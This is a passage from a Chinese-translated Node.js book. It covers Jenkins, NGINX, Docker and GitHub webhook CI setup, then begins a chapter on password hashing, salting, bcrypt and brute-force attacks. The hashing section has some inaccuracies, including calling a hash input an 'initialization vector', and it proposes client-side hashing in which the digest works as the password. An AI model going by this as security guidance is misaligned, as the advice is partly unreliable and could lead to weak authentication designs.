jenkins@ci:$ sudo ln -s /etc/nginx/sites-available/jenkins.hobnob.social /etc/nginx/sites-enabled/
最后,确保我们的 NGINX 配置没有语法错误,并启动它:
jenkins@ci:$ sudo nginx -t
jenkins@ci:$ sudo systemctl start nginx.service
配置防火墙
为了完成我们的 NGINX 配置,配置防火墙以确保流量可以到达端口 80
:
jenkins@ci:$ sudo ufw allow OpenSSH
jenkins@ci:$ sudo ufw allow 80/tcp
jenkins@ci:$ sudo ufw enable
更新我们的 DNS 记录
现在,我们的 Jenkins 服务器应该可以通过端口 80
访问,但我们仍然通过 IP 地址访问我们的服务器。因此,下一步是配置我们的 DNS 记录,将流量指向 jenkins.hobnob.social
的流量导向我们的 VPS。
在 DigitalOcean 上,转到顶部的网络选项卡并添加一个新的 A
记录,将主机名 jenkins.hobnob.social
指向我们的 VPS 实例:
现在,我们的 Jenkins 服务器实例应该可以通过 jenkins.hobnob.social
访问。
配置 Jenkins
现在,我们准备配置 Jenkins。在您的浏览器中导航到 jenkins.hobnob.social
;在那里您将看到一个设置向导。
当 Jenkins 安装时,一个密码被写入到 /var/lib/jenkins/secrets/initialAdminPassword
文件中,只有系统管理员(或具有 sudo
特权的用户)才能访问。这是为了确保访问设置向导的人是系统管理员,而不是恶意第三方。
因此,第一步是复制 /var/lib/jenkins/secrets/initialAdminPassword
文件的内容,并将其粘贴到向导中:
在下一屏,你将看到自定义 Jenkins 屏幕界面,你可以选择安装 插件。Jenkins 本身只是一个启用自动化的平台,它本身具有很少的功能。其功能被模块化为插件。有超过 1300 个插件,包括以下集成:
-
版本控制系统
-
缺陷数据库
-
构建工具
-
测试框架
选择安装建议的插件以安装最常用的插件,包括我们稍后将要使用的 Git 和 GitHub 插件。你可以在下一屏跟踪安装进度:
最后,你将被提示为 Web 界面创建一个管理员用户,你将使用它来继续设置过程(所以记住你的用户名和密码!)。
太好了,现在我们已经成功安装了 Jenkins,并且它正在公共 URL 上运行:
编写 Jenkinsfile
现在我们已经设置了 Jenkins 实例,我们准备使用 Pipeline DSL 定义我们的 Pipeline。让我们看看 Pipeline DSL 语法。
Pipeline DSL 语法
在任何 Pipeline 中都可以使用许多全局变量、关键字和指令,例如:
-
env
:环境变量 -
params
:在配置管道时设置的参数 -
currentBuild
:有关当前构建的信息,例如结果、显示名称等
完整的全局变量列表可以在 /pipeline-syntax/globals
找到。
有一些关键字只能在步骤内部使用。例如,sh
关键字允许你指定一些任意 shell 命令来运行,你可以使用 echo
将某些内容打印到控制台输出。
DSL 语法也可以扩展。例如,JUnit 插件将 junit
步骤添加到 Pipeline 词汇表中,这使得你的步骤可以聚合测试报告。在本章中,我们将使用 Docker Pipeline 插件,该插件添加了一个 docker
关键字来在 Docker 容器中运行我们的测试。关于这一点,我们将在后面详细说明。
声明式与脚本式 Pipeline 的比较
定义 Pipeline 有两种语法——声明式和脚本式。最初,Pipeline 插件只支持脚本式 Pipeline,但声明式 Pipeline 语法 1.0 在 2017 年 2 月随着 Pipeline 2.5 的发布被添加。这两种语法都使用相同的底层执行引擎来执行指令。
脚本式 Pipeline 允许你使用一个功能齐全的编程语言 Groovy 来定义你的指令;正因为如此,你可以非常灵活。缺点是代码可能不太容易理解,因此维护性较差。
声明式 Pipeline 语法为 Pipeline 带来了结构,这意味着检查文件中的语法错误更容易,提供代码检查帮助。但是,使用声明式 Pipeline,你只能定义由语法支持的指令。
因此,你应该尽可能使用声明式流水线语法,只有在无法使用声明式流水线实现指令时才回退到脚本式流水线。
声明式流水线
每个声明式流水线都必须以pipeline
指令开始。在pipeline
指令中,通常是agent
、stages
和step
指令。
agent
指令告诉 Jenkins 为流水线的这部分分配一个执行器和工作空间。工作空间只是文件系统中 Jenkins 可以与之交互以运行构建的目录,而执行器只是一个执行任务的线程。当你使用agent
指令时,它还会下载源代码库并将其保存到工作空间,以便后续阶段可以使用代码。
一个典型的声明式流水线可能看起来像这样:
#!/usr/bin/env groovy
pipeline {
agent {
docker {
image 'node'
args '-u root'
}
}
stages {
stage('Build') {
steps {
echo 'Building...'
sh 'npm install'
}
}
stage('Test') {
steps {
echo 'Testing...'
sh 'npm test'
}
}
}
}
脚本式流水线
在pipeline
指令中必须定义一个声明式流水线,该指令包括一个agent
指令;对于脚本式流水线,流水线必须被包含在node
指令中。
脚本式流水线中的node
指令类似于声明式流水线中的agent
指令,并为流水线分配一个执行器和工作空间。与agent
指令不同,节点不会自动下载源代码库并将其保存到你的工作空间;相反,你必须使用checkout scm
步骤手动指定:
node {
checkout scm
}
scm
是一个特殊变量,代表触发构建的代码库版本。
设置环境
为了确保构建和测试步骤能够一致地执行,我们应该在容器内运行它们,这是一个短暂的、预先配置的、隔离的环境。
容器类似于虚拟机,但使用更少的资源,并且部署更快。创建容器成本低廉;这允许我们创建容器,运行测试,然后丢弃它们。
我们将在第十七章迁移到 Docker 中更深入地探讨 Docker;目前,理解 Docker 容器为我们提供了一个隔离和一致的环境来运行我们的构建和测试就足够了。
Docker 是目前最受欢迎的容器框架,我们将在 Docker 容器内运行我们的构建和测试。在你的仓库中,将以下脚本式流水线添加到Jenkinsfile
文件中:
node {
checkout scm
docker.image('docker.elastic.co/elasticsearch/elasticsearch-oss:6.3.2').withRun('-e "discovery.type=single-node"') { c ->
docker.image('node:8.11.4').inside("--link ${c.id}:db") {
withEnv(['SERVER_HOSTNAME=db',
'JENKINS=true',
'NODE_ENV=test',
'SERVER_PROTOCOL=http',
'SERVER_HOSTNAME=localhost',
'SERVER_PORT=8888',
'ELASTICSEARCH_PROTOCOL=http',
'ELASTICSEARCH_HOSTNAME=localhost',
'ELASTICSEARCH_PORT=9200',
'ELASTICSEARCH_INDEX=test']) {
stage('Waiting') {
sh 'until curl --silent $DB_PORT_9200_TCP_ADDR:$ELASTICSEARCH_PORT -w "" -o /dev/null; do sleep 1; done'
}
stage('Unit Tests') {
sh 'ELASTICSEARCH_HOSTNAME=$DB_PORT_9200_TCP_ADDR npm run test:unit'
}
stage('Integration Tests') {
sh 'ELASTICSEARCH_HOSTNAME=$DB_PORT_9200_TCP_ADDR npm run test:integration'
}
stage('End-to-End (E2E) Tests') {
sh 'ELASTICSEARCH_HOSTNAME=$DB_PORT_9200_TCP_ADDR npm run test:e2e'
}
}
}
}
}
docker
变量由 Docker 流水线插件提供,允许你在流水线中运行与 Docker 相关的函数。在这里,我们使用docker.image()
来拉取镜像。镜像的withRun
方法将使用docker run
在主机上运行该镜像。
在这里,我们正在运行 elasticsearch-oss
镜像,并传递 discovery.type
标志——这是我们之前章节中使用过的同一个标志。一旦容器运行,Jenkins 将执行 withRun
块内指定的所有命令,然后在主体内的所有命令完成后自动退出。
在 withRun
块内,我们指定了一个 docker.image().inside()
块。类似于 withRun
,inside
块内的命令将在容器启动后运行,但这些指令将在容器内运行,而不是在主机上。这就是我们将运行测试的地方。
最后,我们向 inside
传递一个 --link
标志。这使用旧的 Docker 容器链接来为我们提供 node:8.11.4
容器关于 elasticsearch-oss
容器的信息,例如其地址和端口。这允许我们的 API 应用程序连接到数据库。
--link
标志的语法如下:
--link <name or id>:alias
在这里,<name or id>
是我们想要链接的容器的名称或 ID,而 alias
是一个字符串,允许我们通过名称来引用这个链接。在 withRun
成功运行一个容器后,它将向主体提供一个容器对象 c
,该对象有一个 id
属性,我们可以在链接中使用。
一旦容器被链接,Docker 将设置几个环境变量来提供有关链接容器的信息。例如,我们可以通过引用 DB_PORT_9200_TCP_ADDR
的值来找出链接容器的 IP 地址。
你可以在 docs.docker.com/network/links/#environment-variables 查看 Docker 设置的所有环境变量的完整列表。
保存此 Jenkinsfile
并将其推送到远程仓库。
安装 Docker
由于 Jenkins 现在依赖于 Docker,我们必须在此 Jenkins 服务器上安装 Docker:
jenkins@ci:$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
jenkins@ci:$ sudo add-apt-repository "deb [arch=amd64] \
https://download.docker.com/linux/ubuntu \
$(lsb_release -cs) stable"
jenkins@ci:$ sudo apt update
jenkins@ci:$ sudo apt install -y docker-ce
此安装将执行以下几件事:
-
安装 Docker 引擎,它作为守护进程在后台运行
-
安装 Docker 客户端,它是一个命令行工具(
docker
),我们可以在我们的终端中运行 -
在我们的机器上创建一个名为
docker
的用户,并将其分配给docker
组
要检查 Docker 是否正确安装,你可以通过运行 sudo systemctl status docker
来检查其状态。
默认情况下,必须以 root 权限调用 docker 命令。这个规则的例外是如果用户是 docker
,或者如果用户在 docker
组中。我们正在用 jenkins
用户运行 Jenkins 服务器;因此,为了允许我们的 Jenkins 服务器生成新的 Docker 容器,我们必须将 jenkins
用户添加到 docker
组中:
jenkins@ci:$ sudo usermod -aG docker jenkins
要检查这是否成功,请运行以下命令:
jenkins@ci:$ grep docker /etc/group
docker:x:999:jenkins
最后,重新启动 Jenkins 服务以使此更改生效:
jenkins@ci:$ sudo systemctl restart jenkins
与 GitHub 集成
现在我们有一个Jenkinsfile
,它提供了如何运行测试的说明,以及一个用于运行测试的 Jenkins 服务器;剩下要做的就是设置 GitHub 的服务钩子,以便在将更改推送到仓库时触发 Jenkins Pipeline。
提供对仓库的访问权限
首先,我们必须为我们提供 Jenkins 服务器访问我们的仓库以及设置服务钩子的权限。有几种方法可以做到这一点:
-
在 GitHub 上创建一个个人访问(OAuth)令牌,这本质上允许你的 Jenkins 服务器伪装成你。这种方法的优点是你可以有一个可以在任何地方使用的令牌,以访问你控制下的所有仓库。然而,尽管令牌的作用域可以被限制,但这些权限适用于你账户下的所有仓库。因此,这种方法不允许你为每个仓库设置细粒度的权限。
-
在 GitHub 上创建一个新的用户代表 Jenkins 服务器,并将该用户添加到你的仓库中作为协作者。创建账户后,你需要在 Jenkins 主机机器上创建一个新的 SSH 密钥对,并将公钥添加到 GitHub(就像为普通用户做的那样)。然后,配置你的 Jenkins 服务器使用此 SSH 密钥与 GitHub 通信。
这种方法的优点是它允许你将你的身份与 Jenkins 服务器分离,并且你可以简单地将 Jenkins GitHub 用户添加到你希望授予 Jenkins 服务器访问权限的任何其他仓库。
-
如步骤 2 中所述,在 GitHub 上创建一个新的用户代表 Jenkins 服务器,并设置一个新的 SSH 密钥对。然后,转到你的仓库并点击设置选项卡。在侧边栏中,点击部署密钥,然后点击添加部署密钥。现在,将你的 SSH 密钥粘贴到文本区域并保存。
这种方法的优点是你可以仅授予对单个仓库的访问权限。它们被称为部署密钥,正是因为这种方法经常用于自动化部署。你可以设置部署密钥的权限为只读(这样它们只能克隆、构建和部署),或者读写权限(这样它们也可以将更改推回仓库)。
为了简化,我们将使用下一节中概述的个人访问令牌方法。
个人访问(OAuth)令牌
前往github.com/settings/tokens并点击生成新令牌。选择 repo、admin:repo_hook 和 admin:org_hook 作用域:
现在,生成了一个新令牌:
接下来,我们可以将此令牌添加到 Jenkins 中的凭据存储中,它就像一个密码管理器,为我们存储凭据以便在配置中引用。点击 Jenkins UI 左侧侧边栏中的凭据条目。
接下来,在“针对 Jenkins 的存储”下,点击“(全局)”链接旁边的箭头,然后添加凭据。这将允许您将个人访问令牌添加到 Jenkins 服务器中:
然后,在出现的表单中,输入以下值:
范围字段有两个选项——系统或全局。系统范围的凭据可以被 Jenkins 实例本身使用,但不能在自由式项目或管道中使用。全局范围的凭据可以被所有人使用。ID 是用于识别此凭据的内部唯一标识符;如果留空,将自动生成一个 ID。
使用 GitHub 插件
为了与 GitHub 集成,以便将更改推送到仓库时在 Jenkins 上触发构建,我们需要使用两个插件:
-
Git 插件 (plugins.jenkins.io/git):使 Jenkins 能够克隆和从它有访问权限的任何 Git 仓库中拉取。同时,在构建环境中添加 Git 特定的环境变量,以便您可以在任何构建步骤中使用它。
-
GitHub 插件 (plugins.jenkins.io/github):允许您在 GitHub 上设置一个服务钩子,每次有更改推送到 GitHub 时,都会向我们的 Jenkins 实例发送消息。GitHub 插件还依赖于 Git 插件。
如果您遵循了标准安装流程,则应安装这两个插件;否则,在继续之前请安装它们。
为了让 GitHub 插件为我们自动设置服务钩子,我们必须提供之前存储的凭据。转到“管理 Jenkins”|“配置系统”,然后在 GitHub 部分,添加一个新的 GitHub 服务器:
在凭据字段中,选择我们在之前步骤中存储的凭据。然后,点击测试连接,以便 Jenkins 可以向 GitHub 发送一个模拟请求来确保令牌是有效的。现在,我们的 GitHub 插件将能够代表我们执行操作。
手动设置 GitHub 服务钩子
接下来,转到 GitHub 上的Hobnob
仓库,并选择“设置”|“集成与服务”。您应该会看到一个服务列表,这些服务连接到 GitHub 上的事件,包括我们在本章开头添加的 Travis 服务:
接下来,我们需要将 Jenkins(GitHub 插件)添加到服务列表中:
在下一屏幕上,GitHub 将要求您指定 Jenkins 钩子 URL;这是 GitHub 用于通知我们的 Jenkins 实例仓库变更的 URL。Jenkins 使用单个 post-commit 钩子 URL 来处理所有仓库;默认情况下,其格式为 http://<ip-or-hostname>/github-webhook/
。因此,对于我们来说,我们将使用 http://jenkins.hobnob.social/github-webhook/
:
这将为 GitHub 添加服务钩子,但也会表明它从未被触发:
接下来,我们需要在 Jenkins 上创建管道,以便当服务钩子被触发时,我们可以运行在Jenkinsfile
中定义的管道。
创建新文件夹
但在我们创建管道之前,我们知道我们的应用程序将包括两个部分——一个后端 API 服务器和一个前端 Web 界面。我们最终将使用 Jenkins 来构建这两个应用程序,因此将管道分成两个独立的组是明智的,在 Jenkins 的上下文中,这相当于一个文件夹。
要创建新文件夹,请点击界面左侧的“新建项目”链接。然后,您将看到以下屏幕:
在“名称”参数下,输入一个标识此文件夹并作为此文件夹下所有项目命名空间的名称。此名称也将用于 URL 路径以及文件系统中的目录名称,因此,你应该选择一个不包含空格或特殊字符(尤其是斜杠)的名称。
您可以可选地指定显示名称和描述。点击保存,文件夹将被创建,可以通过 URL 访问,jenkins.hobnob.social/job/backend/
。接下来,我们将在该文件夹下创建一个新的管道。
创建新管道
导航到 http://jenkins.hobnob.social/job/backend/
并再次点击“新建项目”链接,但这次选择“管道”选项:
在“常规”部分,勾选“GitHub 项目”复选框并粘贴您 GitHub 项目的 URL:
然后,在“构建触发器”部分,勾选“GitHub 钩子触发器”以进行 GITScm 轮询。这意味着每次我们的 webhook 端点(http://jenkins.hobnob.social/github-webhook/
)收到与这个 GitHub 项目相关的 GitHub 消息时,这个管道将被执行:
接下来,在“管道”部分,选择“从源代码管理器中选择管道脚本”并确保“脚本路径”设置为 Jenkinsfile。这将告诉 Jenkins 使用存储库中的 Jenkins 文件。然后,点击“添加仓库”并粘贴仓库 URL。最后,在“构建分支”中输入值*/*
,以便管道根据任何分支的更改触发:
保存管道,然后继续运行我们的第一个构建!
运行第一个构建
现在,运行git commit --amend
来更改提交哈希;这将足以构成一个更改。将此更改推送到远程仓库。 fingers crossed,这应该会在我们的 Jenkins 服务器上触发构建。
首先,它将下载仓库并将其放入位于/var/lib/jenkins/jobs
的工作区中,然后,它将运行我们在Jenkinsfile
中指定的指令。
当构建(自由风格项目或管道)被触发时,它将被添加到左侧构建历史侧边栏中的构建列表中。构建左侧的指示器显示构建的状态。最初,它将以闪烁的蓝色显示,表示正在运行但尚未完成。一旦管道完成执行,指示器将变为非闪烁的蓝色或红色,表示构建成功或失败:
您可以通过访问“控制台输出”标签并阅读产生的stdout
来跟踪管道的进度。然而,如果您更喜欢视觉表示,您可以查看阶段视图,它显示一个带有彩色块的表格,其中绿色代表通过的阶段,红色代表失败的阶段。这是由管道阶段视图插件提供的,该插件默认安装:(plugins.jenkins.io/pipeline-stage-view):
摘要
在本章中,我们已经将我们的项目与两个 CI 服务——Travis 和 Jenkins 集成。有了 CI,我们能够在某些事件之后触发测试运行,并自动测试我们的应用程序。我们还使用了 Docker 为我们的测试提供一个隔离的环境,确保我们的测试保持可靠和可重复。在第十七章“迁移到 Docker”中,我们甚至将整个部署迁移到使用 Docker。
在下一章中,我们将学习如何通过在我们的 API 中实现身份验证和授权检查来保护我们的应用程序。
第十二章:安全性 – 身份验证和授权
到目前为止,在这本书中,我们已经开发了一个简单的 API,允许匿名用户创建、检索、修改和删除用户。这在实际应用中是不安全的,也是不实用的。因此,在本章中,我们将通过在 API 上实施基本的身份验证和授权层来开始保护我们的 API。这还将给我们一个机会来练习 TDD 过程并与 CI 服务器一起工作。
本章的目的是向您展示如何使用JSON Web Tokens(JWT)实现一个无状态的身份验证和授权方案。无状态对于确保我们应用程序的可扩展性至关重要,这一点我们将在第十八章“使用 Kubernetes 的强大基础设施”中讨论。
到本章结束时,我们的 API 将比当前状态更安全,但为了真正确保其安全性,我们还需要采取更多步骤。不可能涵盖所有安全相关主题,因此我们将专注于基础知识,并在本章末尾为您提供进一步实施安全措施的指南。
通过完成本章,您将:
-
理解编码、哈希、加盐、加密、块加密和其他加密技术
-
使用 JSON Web Tokens (JWT)理解和实现基于密码的身份验证
-
使用 JSON Web Tokens (JWT)理解和实现基于令牌的身份验证
-
实施授权检查以确保用户只能执行我们允许的操作
什么是身份验证?
身份验证是用户识别自己的方式,例如,通过用户名和密码的组合。一旦服务器能够确定用户的身份(用户已进行身份验证),服务器就可以授予该用户有限的权限以执行某些操作。这种授予权限的过程被称为授权:
例如,我们可能允许匿名用户创建新的用户账户,但不允许他们更新现有用户。对于已认证的用户,我们可能允许他们更新自己的用户资料,但不允许更新其他用户的资料;如果用户尝试编辑其他人的资料,他们将收到错误。
基于密码的身份验证简介
当客户端发送创建新用户的请求时,我们的服务器已经要求他们提供电子邮件和密码。因此,我们实现身份验证层的最简单方法就是使用用户的密码。
在最简单的方案中,用户必须在与每个请求一起发送他们的电子邮件和密码。在收到请求后,我们的 API 服务器可以将其与存储在我们数据库中的凭证进行比较;如果匹配,则用户已进行身份验证,否则没有。
虽然上述过程允许我们验证用户身份,但它并不一定安全,以下是一些原因:
-
密码以明文形式保存。根据英国通信管理局(Ofcom)ofcom.org.uk/about-ofcom/latest/media/media-releases/2013/uk-adults-taking-online-password-security-risks的报告,超过一半的互联网用户在多个网站上重复使用他们的密码。因此,任何拥有用户在一个平台上的明文密码的人可能都能访问用户在其他平台上的账户,例如社交媒体和银行账户。因此,将密码保留为明文意味着以下情况:
-
客户端必须信任我们的 API 服务器不会对密码进行任何错误操作
-
如果服务器和/或数据库曾经被入侵,黑客将能够读取明文密码
-
恶意第三方可能会通过中间人攻击(MITM)窃听客户端与服务器之间的通信,并能够提取用户的明文密码
-
-
密码可以被暴力破解:恶意方可以尝试常见的密码,甚至尝试所有可能的字符组合,直到成功为止。
因此,我们应该强制执行强密码以防止暴力攻击,并在通过网络发送密码之前对其进行加密哈希。
哈希密码
一般而言,哈希函数将任意大小的数据(称为消息或初始化向量)映射到固定大小的数据(称为摘要):
const digest = MD5(message);
在安全环境中使用时,哈希算法用于混淆信息的一部分,例如密码。
例如,如果我们使用哈希函数MD5对密码短语healer cam kebab poppy
和peppermint green matcha ceylon
进行哈希,它将产生哈希摘要b9f624315c5fb5dca09aa194091fccff
和e6d4da56a185ff78721ab5cf07790a2c
。这两个摘要都具有固定的 128 位大小(以十六进制表示),并且看起来都很随机。MD5 算法还具有确定性的特性,这意味着如果我们再次使用相同的信息运行该算法,它将始终产生相同的摘要。
因此,从理论上讲,当用户首次注册时,我们可以要求客户端在将其发送到服务器之前对密码进行哈希处理;这样,除了客户端之外,没有人会知道原始密码是什么。然后服务器将在数据库中存储摘要。
下次同一用户希望与服务器进行身份验证时,他们应该再次散列密码并将摘要发送到服务器。因为 MD5 是确定性的,相同的密码应该产生相同的摘要。这使得服务器可以将请求中提供的摘要与数据库中存储的摘要进行比较;如果它们匹配,服务器就可以验证用户,而无需知道密码的实际内容。
加密散列函数
然而,MD5 不是一个适合散列密码的算法,因为尽管摘要看起来像是乱码,但现在有工具可以使用摘要来逆向工程密码。为了散列密码,我们需要使用一类特殊的散列函数,称为加密散列函数,它们具有以下特殊属性:
-
确定性: 给定相同的信息,它们将始终产生相同的摘要。
-
单向性: 消息或消息的一部分不能从摘要中逆向工程。从散列中获取原始消息的唯一方法是通过尝试消息的每个可能值来查看生成的散列是否匹配。
-
显示雪崩效应: 消息的微小变化会产生截然不同的摘要。这阻止了密码分析员在散列之间找到模式并缩小消息可能的组合。
-
抗碰撞性: 两个不同的消息应该产生两个不同的摘要。两个不同消息产生相同摘要的可能性极小。
-
慢速: 这可能看起来有些反直觉,但当散列用于安全时,一个较慢的算法会阻止暴力攻击。以下是一个例子:一个执行时间为 1 毫秒的散列函数可以在 11.5 天内产生 10 亿个散列。一个执行时间为 40 毫秒的散列函数可以在 463 天内产生 10 亿个散列,这是一个显著更长的时间。然而,对于一个普通用户来说,1 毫秒和 40 毫秒之间的差异是可以忽略不计的。换句话说,我们希望我们的算法对攻击者来说很慢,但对合法用户来说不是。
-
鲁棒性: 它必须经得起时间的考验。
选择一个加密散列算法
由于 MD5 违反了一致性约束,我们必须选择一个更合适的加密散列函数。有大量的散列算法可供选择。以下是一些最受欢迎的算法列表:MD4、MD5、MD6、SHA1、SHA2系列(包括SHA256、SHA512)、SHA3系列(包括SHA3-512、SHAKE256)、RIPEMD、HAVAL、BLAKE2、RipeMD、WHIRLPOOL、Argon2、PBKDF2和bcrypt。
MD5 和 SHA-1 在它们被引入时非常受欢迎,当时被视为鲁棒的加密散列算法,但后来被更现代的加密散列函数如 PBKDF2 和 bcrypt 所取代。
算法可能由于以下因素变得不合适:
-
可以人为制造碰撞:碰撞是不可避免的,如果给定足够的时间和资源,原始消息可以从哈希值中暴力破解出来。
然而,如果有人能够故意设计两条不同的消息以产生相同的哈希值,这意味着他们可能在不了解密码的情况下验证另一个用户。这通常需要大量的计算能力和时间。
因此,如果一个算法生成碰撞需要超乎寻常的时间/资源,那么可以假设该算法具有抗碰撞性,因为这样他们可能获得的信息不值得他们投入的时间和资源去获取。
然而,由于密码学在安全中扮演着如此基础的角色,因此密码学哈希算法在学术界受到了严格的审查。通常,研究人员会故意尝试在算法中生成碰撞(MD5 和 SHA-1 都是通过这种方式被推翻的)。
-
处理速度的进步:加密算法旨在慢速。如果处理器的速度增加,这意味着恶意方可以花费更少的时间/资源来破解密码。最终,处理速度的进步可能会使算法变得不适用。
为了减轻碰撞,算法应该足够复杂且难以逆向工程。它还应该生成足够长的摘要以降低碰撞的概率(对于 1024 位的摘要来说,生成碰撞比 128 位的摘要要困难得多)。
为了减轻处理速度的进步,现代算法采用了一种称为哈希拉伸(例如密钥拉伸)的方法,这允许算法动态地改变算法的速度。
哈希拉伸
哈希拉伸通过多次重复加密哈希函数来减慢算法的速度。例如,我们不是用 SHA-256 对密码进行一次哈希,而是反复对生成的哈希值运行 SHA-256:
function simpleHash(password) {
return SHA256(password);
}
function repeatedHash(password) {
const iterations = 64000;
let x = 0;
let hash = password;
while (x < iterations) {
hash = SHA256(hash);
x++;
}
return hash;
}
这种方法的优点是你可以通过改变迭代次数来改变函数运行所需的时间。例如,如果过去几年计算能力翻倍了,你只需简单地加倍迭代次数以保持相同的安全级别。
哈希拉伸算法
有三种现代算法利用哈希拉伸:基于密码的密钥派生函数 2(PBKDF2)、bcrypt和scrypt。PBKDF2 和 bcrypt 之间的区别在于 bcrypt 在 GPU 上运行的成本比 PBKDF2 高,因此攻击者更难使用多个 GPU 并行化操作。
PBKDF2 和 bcrypt 都使用少量且恒定的内存,这使得它们容易受到使用应用特定集成电路芯片(ASICs)和/或现场可编程门阵列(FPGA)进行的暴力破解攻击的影响。scrypt 是为了解决这个问题而发明的,它允许你调整计算散列所需的 RAM 量。然而,scrypt 仅在 2009 年发布,并且不像其他两种算法那样经过充分的实战测试。
因此,在这本书中,我们将使用 bcrypt 算法,因为它自 1999 年以来一直存在,并且尚未发现任何漏洞。
防御针对单个用户的暴力破解攻击
在我们对密码进行散列以混淆它时,恶意方仍然可能通过以下方式获取目标受害者的密码:
-
字典攻击:利用许多用户使用常见密码(如
qwertyuiop
)的事实。在字典攻击中,恶意方会使用程序尝试成千上万的最可能密码,希望其中之一能够成功。 -
暴力破解攻击:这与字典攻击类似,但程序会遍历定义范围内的所有可能消息(例如,所有长度小于 13 个字符的小写字母字符串,从
a
、b
...aa
、ab
、ac
开始,一直到最后zzzzzzzzzzzzz
)。
即使我们的密码已经散列,恶意方也可以预先生成一个预散列条目表(也称为查找表或彩虹表),并尝试使用散列而不是明文密码进行身份验证;其基本原理是相同的。
此外,如果恶意方能够获取用户的密码散列(例如,通过监听通信),它可以在查找表中搜索相同的散列,并能够从查找表中确定原始密码。
防御暴力破解攻击
幸运的是,我们可以采用一个非常简单的机制来减轻查找表/彩虹表攻击,那就是使密码非常长。
可能的散列数量随着以下因素呈指数级增长:
-
密码的长度
-
密码中每个字符可能的字符范围
假设我们的密码可以包含小写字母、大写字母和数字;这为我们每个字符提供了 62 种独特的可能性。如果我们有一个字符的密码,这意味着我们只需要生成一个包含 62(62¹)个条目的彩虹表,就可以保证找到匹配项。如果我们有一个最多两个字符的密码,现在有 3,906(62¹ + 62²)种可能的组合。如果我们允许密码最长为 10 个字符,那么就有 853,058,371,866,181,866,或 853 万亿种组合(62¹ + 62² + 62³ + 62⁴ + 62⁵ + 62⁶ + 62⁷ + 62⁸ + 62⁹ + 62¹⁰)。虽然这听起来像是一个难以想象的大数字,但有些机器每秒可以计算数百亿个哈希值。因此,要遍历所有这些组合大约需要一个月——仍然不是很安全。
然而,如果密码的最大长度变为 20 个字符,那么将需要 715,971,350,555,965,203,672,729,121,413,359,850,或 715 decillion,次迭代来生成所有 20 个字符的密码。这额外的 10 个字符意味着现在生成所有密码组合要难 839 quadrillion 倍。
因此,通过实施合理的密码策略,可以阻止黑客尝试暴力破解攻击。一个合理的策略可能如下所示:
-
密码长度必须至少为 12 个字符
-
密码必须包含至少一个特殊字符(
!£$^&()+-=[]}{:@;<>.,
)
使用我们的 21 个特殊字符列表,我们的字符范围现在增加到 83。因此,黑客必须计算 10,819,354,441,840,089,422,004,000,或 108 sextillion,个哈希值,才能保证密码匹配。
或者,你可以鼓励用户使用一个口令短语,即几个无关的单词连在一起;例如,correct horse battery staple
(这是对 XKCD 漫画的引用:xkcd.com/936)。这确保了密码足够长,以至于字符范围不足的问题不再重要。攻击者必须尝试大量的组合,才能到达你的口令短语。
反向查找表攻击
在将密码在客户端哈希之前进行哈希处理并强制执行强大的密码策略可以防止针对单个用户的暴力破解攻击。然而,如果恶意方能够获取用户数据库的大部分,他们可以执行另一种称为反向查找表攻击的攻击。
在这种攻击方法中,恶意方会搜索受损害的数据库,寻找已知原始消息的摘要,以获取使用该摘要的用户账户列表,从而获得相同的密码。
防御反向查找表攻击
幸运的是,我们可以在对用户密码进行哈希处理之前,在密码的开始或末尾附加一个长的高熵随机字符串,从而轻松防止反向查找表攻击。这个随机字符串被称为盐,可以是公开的。
这就是它的工作原理:在客户端,不是只散列密码,客户端首先会生成一个随机盐(例如,使用crypto
包),然后将密码和盐的连接字符串进行散列:
const salt = crypto.randomBytes(128).toString('base64');
const saltedPasswordDigest = MD5(password + salt);
然后,客户端会将加盐密码的散列值以及盐发送到服务器。服务器随后会将散列值和盐都存储在用户文档中。
下次用户想要登录时,他们首先会将他们的用户 ID/用户名提交给服务器。服务器会找到与该用户关联的盐,并将其发送回客户端。接下来,客户端会用盐对密码进行散列,并将散列值发送回服务器。然后,服务器会将请求中的散列值与数据库中的散列值进行比较;如果匹配,就会验证用户的身份。
盐的作用是使可能常见的密码变得不常见。因此,即使两个用户有相同的密码,最终的密码散列值也会不同。因此,即使攻击者已经将密码解密为散列值,他们也无法使用查找表来识别使用相同密码的其他用户,因为他们的密码散列值是不同的。
盐越长,密码和盐的组合就越不常见。16 个字符的字符串可能就足够了,但由于在这个规模上的数据存储和带宽都很便宜,所以过度使用也不是什么坏事。因此,我们建议使用 256 位的盐,这意味着 32 个字符的盐。
盐并不是需要保密的东西。如果攻击者想要针对特定账户,他们可以轻松地获取该用户的盐。但是,由于每个盐都不同,攻击者需要为每个唯一的盐生成一个新的彩虹表。而且如果用户一开始就有相对较长的密码,这就不切实际了。(想象一下,如果用户的密码是 10 个字符,那么仅破解一个用户账户就需要数百亿次的计算。)因此,加盐使得查找和反向查找表无效,因为攻击者实际上无法预先计算所有盐的散列值列表。
实现基于密码的认证
在掌握了散列和加盐的知识后,我们现在将使用 bcrypt 算法在我们的现有 API 上实现基于密码的认证层。首先,我们需要更新我们的Create User
端点,使其接受 bcrypt 散列值而不是密码。由于我们遵循 TDD,我们将首先更新端到端测试,然后再更新实现。
更新现有的端到端测试
首先,在 Gherkin 规范和 Cucumber 代码中,更新所有与密码相关的部分以使用散列值;这包括步骤描述、步骤定义和示例数据。例如,你可以在Create User
功能的“Bad Client Requests”场景的端到端测试中进行以下更改:
--- a/spec/cucumber/features/users/create/main.feature
+++ b/spec/cucumber/features/users/create/main.feature
@@ -34,9 +34,9 @@ Feature: Create User
Examples:
- | missingFields | message |
- | email | The '.email' field is missing |
- | password | The '.password' field is missing |
+ | missingFields | message |
+ | email | The '.email' field is missing |
+ | digest | The '.digest' field is missing |
尝试在 spec/cucumber
目录中进行全局搜索,将单词 password
替换为 digest
。
要生成一个虚拟的 bcrypt 摘要,尝试在网上搜索在线 bcrypt 生成器;有许多免费的在线工具可用。
生成随机摘要
在我们的代码包中,有一个 createUser
函数,我们用它来为测试生成虚拟用户。目前,它正在使用 crypto.randomBytes()
方法生成一个随机的 32 位十六进制字符串作为密码。要从这个密码生成摘要,我们可以使用来自 npmjs.com 注册表的包。
选择 bcrypt 库
有几个 bcrypt 库可供 JavaScript 使用:
-
bcrypt
(node.bcrypt.js
):这是 bcrypt 算法最性能和最有效的实现,因为它使用了 C++ 实现,并将其简单地绑定到 Node 上。然而,它有许多依赖和限制,使得使用起来很复杂,特别是:-
Python 2.x。
-
node-gyp
:因为bcrypt
是作为一个 Node.js 插件编写的,它是用 C++ 编写的,在可以使用之前必须为你的机器架构编译。这意味着它必须依赖于node-gyp
